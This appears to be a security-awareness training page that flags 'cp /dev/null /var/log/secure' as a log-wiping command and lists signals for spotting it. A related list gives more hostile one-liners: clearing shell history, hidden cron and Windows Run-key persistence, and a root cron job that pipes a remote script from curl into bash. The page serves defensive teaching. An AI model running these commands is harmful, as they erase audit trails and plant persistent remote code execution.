Dangerous
cp /dev/null /var/log/securelinux · bash · Beginner
Copies an empty device over the authentication log, which empties it in place. It reads as a file copy, and the result is that the record of who logged in and when no longer exists.
Signals to notice
- copying /dev/null over a file empties it while leaving it in place
- the authentication log is the record of how access was obtained
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert